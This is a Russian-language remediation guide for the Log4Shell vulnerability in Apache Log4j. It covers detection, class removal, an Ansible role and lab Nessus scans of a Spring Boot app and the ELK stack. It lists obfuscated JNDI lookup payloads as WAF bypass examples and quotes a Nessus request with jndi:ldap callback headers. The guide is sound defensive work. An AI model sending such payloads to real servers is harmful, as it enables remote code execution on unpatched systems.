

Log4Shell

Dmitriy Prigoda

<https://github.com/D34m0nN0n3>

Table of contents

1. Общее описание	3
1.1 Обнаружение уязвимой библиотеки	3
1.2 Устранение уязвимости	3
1.3 Ansible роль	5
2. Поиск и удаление JndiLookup класса из уязвимых библиотек Log4j	6
2.1 Общее описание	6
2.2 Параметры	6
2.3 Теги	6
2.4 Примеры	7
3. Анализ уязвимости	8
3.1 Сравнительный отчет (Nessus 10.0.2): уязвимого приложения "spring-boot-starter-log4j2 2.6.1" и потенциально уязвимого "ELK stack 7.15.1"	8
3.2 Итоги	10
4. Дополнительные материалы	11
4.1 Дополнительные ссылки	11

1. Общее описание

Уязвимость в утилите журналирования Log4j от Apache Software Foundation [CVE-2021-44228](#)

Уязвимость удаленного выполнения кода под названием Log4Shell получила максимальную оценку в 10 баллов по шкале CVSSv3, поскольку ее можно эксплуатировать удаленно, и особых технических навыков для этого не требуется. Критическая опасность связана с повсеместным присутствием утилиты Log4j почти во всех основных корпоративных приложениях и серверах на базе Java. Проблема затрагивает версии log4j между 2.0-beta-9 и 2.14.1. Уязвимость отсутствует в версии log4j 1 и исправлена в версии 2.15.0¹. В версии 2.15.0 по умолчанию был отключен лишь один аспект функционала JNDI по поиску сообщений. Теперь же вышло второе исправление 2.16.0, по умолчанию отключающее всю поддержку JNDI и полностью удаляющее обработку поиска сообщений, но и в нем найдена уязвимость.

Выпуск второго обновления был необходим, поскольку версию 2.15.0 по-прежнему можно проэксплуатировать при определенных заводских конфигурациях. Данная проблема получила собственный идентификатор [CVE-2021-45046](#). В связи с этим в версии 2.16.0 JNDI выключен. JNDI представляет собой API, используемый утилитой Log4j для извлечения объектов с удаленных серверов с целью их использования в записях журнала. В версии 2.16.0 проблема получила индекс [CVE-2021-45105](#).

✓ Последняя актуальная версия

Доступна [2.17.0](#) на официальном сайте.

1.1 Обнаружение уязвимой библиотеки

Для анализа проблемы на хосте необходимо выполнить поиск запущенных java процессов, и проверить не используют они уязвимую библиотеку.

i Для информации

Для поиска роль использует скрипт по Python из проекта [fox-it/log4j-finder](#). Так как в нем используется анализ не по имени файлов, а по md5 суммам версий библиотек. Что в значительной степени повышает надежность обнаружения. В том числе обнаружение идет и в runtime LXC (docker images).

1.2 Устранение уязвимости

1.2.1 Обновление версии

Очевидное и самое правильное решение обновить версию библиотеки до последнего доступного релиза. Обновление библиотеки выполняется совместно с обновлением приложения. Для этого необходимо дождаться новой версии приложения от разработчика.

⚠ Внимание

Обновление только библиотеки может привести к полной или частично неработоспособности приложения.

1.2.2 Временное решение

Это комплекс мер которые снижает риски эксплуатации данной уязвимости, если отсутствует обновление или нет возможности его применить.

⚠ Внимание

Данные решения не решают проблему полностью, а только снижают риски.

- Удалить возможность Log4j выполнять поиски уязвимых запросов. Эта функция находится в JndiLookup.class, необходимо удалить данный класс из библиотеки Log4j.

☰ Удаление класса

```
zip -q -d <path/filename>.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
```

⚠ Внимание

Также рекомендуется одновременно удалить другие классы, которые также могут быть использованы в этой или подобных атаках. Эти файлы включают JndiManager, JMSAppender и SMTPAppender. Имейте в виду, что удаление классов из среды выполнения может вызвать неожиданное поведение (полную или частичную неработоспособность приложения).

⚠ Внимание

Роль удаляет только JndiLookup класс из библиотеки.

✖ Особое внимание

Не рекомендуется использовать удаление класса, так как может привести к полной или частично неработоспособности приложения.

- Добавьте правила WAF для блокировки вредоносных входящих запросов.

Правила WAF (Web Application Firewall) могут быть добавлены для фильтрации входящих запросов. Вот несколько примеров попыток атак в обход правил:

☰ Правила WAF

```
$(::-j){::-n}{::-d}{::-i}{::-r}{::-m}{::-i}://asdasd.asdasd.asdasd/poc}
$(::-j)ndi:rmi://asdasd.asdasd.asdasd/ass}
$(jndi:rmi://adsasd.asdasd.asdasd)
${(lower:jndi):(lower:rmi)://adsasd.asdasd.asdasd/poc}
${(lower:(lower:jndi):(lower:rmi)://adsasd.asdasd.asdasd/poc}
${(lower:j){(lower:n){(lower:d)i:(lower:rmi)://adsasd.asdasd.asdasd/poc}
${(lower:j){(upper:n){(lower:d){(upper:i):(lower:r)m${(lower:i)}://xxxxxxx.xx/poc}
${(lower:j){(lower:n){(lower:d)i:(lower:ldap)://%s}
```

⚠ Внимание

Обратите внимание, что на этот подход нельзя полагаться, поскольку злоумышленники каждый час создают новые цепочки атак, которые могут обойти эти правила. Возможно, придется добавить их вручную, новые правила для отклонения запросов на основе ализы журналов WAF, которые выглядят как злонамеренные атаки на эту уязвимость.

- В дополнение к правилам WAF, настроить запрет исходящих соединений по протоколу LDAP на межсетевом экране.

⚠ Внимание



Блокировать необходимо не LDAP порт, а пакеты протокола LDAP.

1.3 Ansible роль

Для определения используемых уязвимых библиотек и исправления написана ansible роль:

- infra-service.log4j

Подсказка

Для создания закладки в браузере на данное руководство:  + 

-
1. Устранена частично, остается возможность вызвать отказ в обслуживании (Denial of Service). ←
-

Последнее обновление: February 24, 2022

2. Поиск и удаление JndiLookup класса из уязвимых библиотек Log4j

2.1 Общее описание

Роль создает отчет о наличии уязвимых версий на хосте с указанием полного пути до библиотеки и ее версии, и отправкой по почте.

? Справка

По умолчанию создается только отчет, удаление класса не производится.

i Для информации

Перед удалением класса, сценарий сохраняет копию файла по тому же пути и тем же именем как у оригинального файла с добавлением суффикса `.orig`.

⚠ Внимание

Удаление класса необходимо проводить с осторожностью. Не рекомендуется применять данный метод по умолчанию.

2.2 Параметры

Название переменной	Тип переменной	Значения по умолчанию	Описание
log4j_fix	boolean	undef	Удаляет класс из уязвимых библиотек.
mail_host	string	undef	Адрес почтового сервера через который идет отправка письма.
mail_from	string	undef	Почтовый адрес отправителя.
mail_rcpt_to	string	undef	Почтовый адрес получателя.

? Справка

В Rhsatellite/Katello переменные `mail_host`, `mail_from` добавлены как глобальные. При запуске роли с Rhsatellite/Katello их не надо прописывать.

✗ Особое внимание

Не рекомендуется использовать автоматическое удаление класса.

2.3 Теги

Не используются.

2.4 Примеры

inventory/hosts

```
[example-servers]
<host_name> ansible_ssh_host=<host_ip> ansible_ssh_user=<user_name_for_connect>

[example-servers:vars]
ansible_connection=ssh
mail_host='10.10.1.1'
mail_rcpt_to='admin@example.com'
#log4j_fix=true
```

Последнее обновление: February 24, 2022

3. Анализ уязвимости

Уязвимость в библиотеке Log4j, это как COVID-19 в мире IT.

3.1 Сравнительный отчет (Nessus 10.0.2): уязвимого приложения "spring-boot-starter-log4j2 2.6.1" и потенциально уязвимого "ELK stack 7.15.1"

Оценка уязвимости в "лоб".

3.1.1 spring-boot-starter-log4j2 2.6.1

LAB scan Log4Shell

ConfigureAudit TrailLaunchReportExport

Hosts1Vulnerabilities12VPR Top ThreatsHistory3

FilterSearch Vulnerabilities12 Vulnerabilities

Sev	Score	Name	Family	Count
CRITICAL	10.0	Apache Log4j < 2.15.0 Remote Code Execution (Nix)	Misc.	5
CRITICAL	10.0	Apache Log4Shell RCE detection via callback correlation (Direct Check HTTP)	Web Servers	1
MIXED	...	Apache Log4j (Multiple Issues)	Misc.	11
INFO		Netstat Portscanner (SSH)	Port scanners	10
INFO		Service Detection	Service detection	3
INFO		RPC Services Enumeration	Service detection	2
INFO		Nessus Scan Information	Settings	1
INFO		OS Identification and Installed Software Enumeration over SSH v2 (Using New SSH Library)	Misc.	1
INFO		Ping the remote host	Port scanners	1
INFO		RPC portmapper Service Detection	RPC	1
INFO		Service Detection (GET request)	Service detection	1
INFO		SSH Server Type and Version Information	Service detection	1

Scan Details

Policy: Log4Shell Vulnerability Ecosystem
Status: Completed
Severity Base: CVSS v3.0
Scanner: Local Scanner
Start: December 19 at 10:12 PM
End: December 19 at 10:49 PM
Elapsed: 37 minutes

Vulnerabilities

Critical

High

Medium

Low

Info

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can exploit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin requires that both the scanner and target machine have internet access.

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to <https://logging.apache.org/log4j/2.x/security.html> for the latest versions.

See Also

<https://logging.apache.org/log4j/2.x/security.html>
<https://www.lunasec.io/docs/blog/log4j-zero-day/>

Output

Nessus was able to detect vulnerability by sending the following request
GET / HTTP/1.1
Host: bootstrap.lab
Accept-Charset: iso-8859-1,utf-8;q=0.9,*q=0.1
Accept-Language: \$(jndi:ldap://log4shell-generic-xIECqBAzaAZXN8YBN2z7.w.nessus.org/nessus)
Connection: Close
Referer: \$(jndi:ldap://log4shell-generic-xIECqBAzaAZXN8YBN2z7.w.nessus.org/nessus)
X-Api-Version: \$(jndi:ldap://log4shell-generic-xIECqBAzaAZXN8YBN2z7.w.nessus.org/nessus)
Cookie: \$(jndi:ldap://log4shell-generic-xIECqBAzaAZXN8YBN2z7.w.nessus.org/nessus)=\$(jndi:ldap://log4shell-generic-xIECqBAzaAZXN8YBN2z7.w.nessus.org/nessus);SESSIONID=\$(jndi:ldap://log4shell-generic-xIECqBAzaAZXN8YBN2z7.w.nessus.org/nessus);PHPSESSID=\$(jndi:ldap://log4shell-generic-xIECqBAzaAZXN8YBN2z7.w.nessus.org/nessus);token=\$(jndi:ldap://log4shell-generic-xIECqBAzaAZXN8YBN2z7.w.nessus.org/nessus)
User-Agent: \$(jndi:ldap://log4shell-generic-xIECqBAzaAZXN8YBN2z7.w.nessus.org/nessus)
Pragma: no-cache
If-Modified-Since: \$(jndi:ldap://log4shell-generic-xIECqBAzaAZXN8YBN2z7.w.nessus.org/nessus)
Accept: \$(jndi:ldap://log4shell-generic-xIECqBAzaAZXN8YBN2z7.w.nessus.org/nessus)
Nessus detected that the target host performed a DNS lookup on an LDAP host.

Port . Hosts

80/tcp/www 192.168.229.10

Severity: Critical

ID: 156014

Version: 1.11

Type: remote

Family: Web Servers

Published: December 11, 2021

Modified: December 19, 2021

Risk Information

Risk Factor: High

CVSS v3.0 Base Score 10.0

CVSS v3.0 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/SC/C/H/I/A/H

CVSS v3.0 Temporal Vector: CVSS:3.0/E/H/RL:O/RC:C

CVSS v3.0 Temporal Score: 9.5

CVSS v2.0 Base Score: 9.3

CVSS v2.0 Temporal Score: 8.1

CVSS v2.0 Vector: CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C

CVSS v2.0 Temporal Vector: CVSS2#E:H/RL:O/RC:C

IAVM Severity: I

Vulnerability Information

CPE: cpe:/a:apache:log4j

Exploit Available: true

Exploit Ease: Exploits are available

Patch Pub Date: December 10, 2021

Vulnerability Pub Date: December 9, 2021

Reference Information

IAVA: 2021-A-0573, 2021-A-0598, 2021-A-0597, 2021-A-0596

CVE: CVE-2021-44228

- 8/11 -

<https://github.com/D34m0nN0n3>

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to <https://logging.apache.org/log4j/2.x/security.html> for the latest versions.

See Also

<https://github.com/apache/logging-log4j2/pull/608>
<https://logging.apache.org/log4j/2.x/security.html>

Output

Path : /var/lib/containers/storage/overlay/9acdca6231be9e5754adab7432d4b5a7eb25a24c9d6f12b8d380cd8f871abe9/diff/app/spring-boot-application.jar
Installed version : 2.14.1
Fixed version : 2.15.0

Port	Hosts
N/A	192.168.229.10

Path : /var/lib/docker/overlay2/ec7ea81587d47c827dbe4892dbedac7bea40bedd58471d5eff81488a7b1222e5/diff/app/spring-boot-application.jar
Installed version : 2.14.1
Fixed version : 2.15.0

Port	Hosts
N/A	192.168.229.10

Path : /var/lib/containers/storage/overlay/5f8b754471cb72b408da3a43e25445215fd372cc5a13b123a52e5c194d689ee/merged/app/spring-boot-application.jar
Installed version : 2.14.1
Fixed version : 2.15.0

Port	Hosts
N/A	192.168.229.10

Risk Factor: High
CVSS v3.0 Base Score: 10.0
CVSS v3.0 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/SC:C/H/I/A:H
CVSS v3.0 Temporal Vector: CVSS:3.0/E:H/RL:O/RC:C
CVSS v3.0 Temporal Score: 9.5
CVSS v2.0 Base Score: 9.3
CVSS v2.0 Temporal Score: 8.1
CVSS v2.0 Vector: CVSS2#AV:N/AC:M/Au:N/CC/I/C/A:C
CVSS v2.0 Temporal Vector: CVSS2#E:H/RL:O/RC:C
IAVM Severity: I

Vulnerability Information

Exploit Available: true
Exploit Ease: Exploits are available
Patch Pub Date: December 9, 2021
Vulnerability Pub Date: December 9, 2021

Reference Information

IAVA: 2021-A-0573
CVE: [CVE-2021-44228](#)

Информация

Применение обходного решения по запуску приложения с параметром `Dlog4j2.formatMsgNoLookups=true`, не дало вообще результатов. RCE эксплуатация возможна. Удаление классов привело к неработоспособности приложения. При блокировки исходящих соединений в адрес атакуемого узла, RCE эксплуатация отсутствовала.

3.1.2 ELK stack 7.15.1

LAB scan Log4Shell

Configure Audit Trail Launch Report Export

Back to My Scans

Hosts 1 Vulnerabilities 10 VPR Top Threats History 3

Filter Search Vulnerabilities 10 Vulnerabilities

Sev	Score	Name	Family	Count	
CRITICAL	10.0	Apache Log4j < 2.15.0 Remote Code Execution (Nix)	Misc.	2	
MIXED	...	Apache Log4j (Multiple Issues)	Misc.	3	
INFO		Netstat Portscanner (SSH)	Port scanners	11	
INFO		Service Detection	Service detection	6	
INFO		HTTP Server Type and Version	Web Servers	1	
INFO		Nessus Scan Information	Settings	1	
INFO		OS Identification and Installed Software Enumeration over SSH v2 (Using New SSH Library)	Misc.	1	
INFO		Ping the remote host	Port scanners	1	
INFO		SSH Commands Ran With Privilege Escalation	Settings	1	
INFO		SSH Server Type and Version Information	Service detection	1	

Scan Details

Policy: Log4Shell Vulnerability Ecosystem
Status: Completed
Severity Base: CVSS v3.0
Scanner: Local Scanner
Start: December 19 at 8:14 PM
End: December 19 at 8:39 PM
Elapsed: 25 minutes

Vulnerabilities

Critical

High

Medium

Low

Info

- 9/11 -

<https://github.com/D34m0nN0n3>

<p>Description</p> <p>The version of Apache Log4j on the remote host is 2.x < 2.15.0. It is, therefore, affected by a remote code execution vulnerability in the JNDI parser due to improper log validation. An unauthenticated, remote attacker can exploit this to bypass authentication and execute arbitrary commands.</p> <p>Log4j 1.x, which reached its End of Life prior to 2016, comes with JMSAppender which will perform a JNDI lookup if enabled in Log4j's configuration file, hence customers should evaluate triggers in 1.x based on the risk that it is EOL and whether JNDI lookups are enabled.</p> <p>Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.</p> <p>Solution</p> <p>Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.</p> <p>Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.</p> <p>See Also</p> <p>https://github.com/apache/logging-log4j2/pull/608 https://logging.apache.org/log4j/2.x/security.html</p> <p>Output</p> <table><tr><td>Path</td><td>: /usr/share/logstash/logstash-core/lib/jars/log4j-core-2.14.0.jar</td></tr><tr><td>Installed version</td><td>: 2.14.0</td></tr><tr><td>Fixed version</td><td>: 2.15.0</td></tr></table> <table><tr><th>Port</th><th>Hosts</th></tr><tr><td>N/A</td><td>192.168.229.10</td></tr></table> <table><tr><td>Path</td><td>: /usr/share/elasticsearch/lib/log4j-core-2.11.1.jar</td></tr><tr><td>Installed version</td><td>: 2.11.1</td></tr><tr><td>Fixed version</td><td>: 2.15.0</td></tr></table> <table><tr><th>Port</th><th>Hosts</th></tr><tr><td>N/A</td><td>192.168.229.10</td></tr></table>	Path	: /usr/share/logstash/logstash-core/lib/jars/log4j-core-2.14.0.jar	Installed version	: 2.14.0	Fixed version	: 2.15.0	Port	Hosts	N/A	192.168.229.10	Path	: /usr/share/elasticsearch/lib/log4j-core-2.11.1.jar	Installed version	: 2.11.1	Fixed version	: 2.15.0	Port	Hosts	N/A	192.168.229.10	<p>Severity: Critical</p> <p>ID: 155999</p> <p>Version: 1.11</p> <p>Type: local</p> <p>Family: Misc.</p> <p>Published: December 10, 2021</p> <p>Modified: December 19, 2021</p> <p>Risk Information</p> <p>Risk Factor: High</p> <p>CVSS v3.0 Base Score 10.0</p> <p>CVSS v3.0 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/SC/CH/IH/A:H</p> <p>CVSS v3.0 Temporal Vector: CVSS:3.0/E:H/RL:O/RC:C</p> <p>CVSS v3.0 Temporal Score: 9.5</p> <p>CVSS v2.0 Base Score: 9.3</p> <p>CVSS v2.0 Temporal Score: 8.1</p> <p>CVSS v2.0 Vector: CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C</p> <p>CVSS v2.0 Temporal Vector: CVSS2#E:H/RL:O/RC:C</p> <p>IAVM Severity: I</p> <p>Vulnerability Information</p> <p>Exploit Available: true</p> <p>Exploit Ease: Exploits are available</p> <p>Patch Pub Date: December 9, 2021</p> <p>Vulnerability Pub Date: December 9, 2021</p> <p>Reference Information</p> <p>IAVA: 2021-A-0573</p> <p>CVE: CVE-2021-44228</p>
Path	: /usr/share/logstash/logstash-core/lib/jars/log4j-core-2.14.0.jar																				
Installed version	: 2.14.0																				
Fixed version	: 2.15.0																				
Port	Hosts																				
N/A	192.168.229.10																				
Path	: /usr/share/elasticsearch/lib/log4j-core-2.11.1.jar																				
Installed version	: 2.11.1																				
Fixed version	: 2.15.0																				
Port	Hosts																				
N/A	192.168.229.10																				



Информация

Тестирование в различных конфигурациях, как с настроенным брандмауэром, frontend'ом на nginx, аутентификацией и шифрованием соединений между компонентами стека, так без всего перечисленного, возможность эксплуатации RCE не была подтверждена. Удаление класса из библиотеки привело к неработоспособности аутентификации.

3.2 Итоги

Самыми эффективные меры:

- Обновление до последний версии приложения
- Фильтрация запросов через WAF
- Фильтрация и блокировка исходящих соединений на firewall

Удаление класса сильно влияет на работоспособность приложения. Использование параметра `Dlog4j2.formatMsgNoLookups=true` не оказало влияние на устранение проблемы.

Последнее обновление: February 24, 2022

4. Дополнительные материалы

4.1 Дополнительные ссылки

- [Apache Log4j 2](#)
 - [Log4Shell remediation cheat sheet](#)
 - [LATEST RESEARCH AND INSIGHTS ON CVE-2021-44228 AKA LOG4SHELL](#)
 - [Уязвимостью в Log4j заинтересовались китайские АPT](#)
 - [Для уязвимости в Log4j вышло второе исправление](#)
-

Последнее обновление: February 24, 2022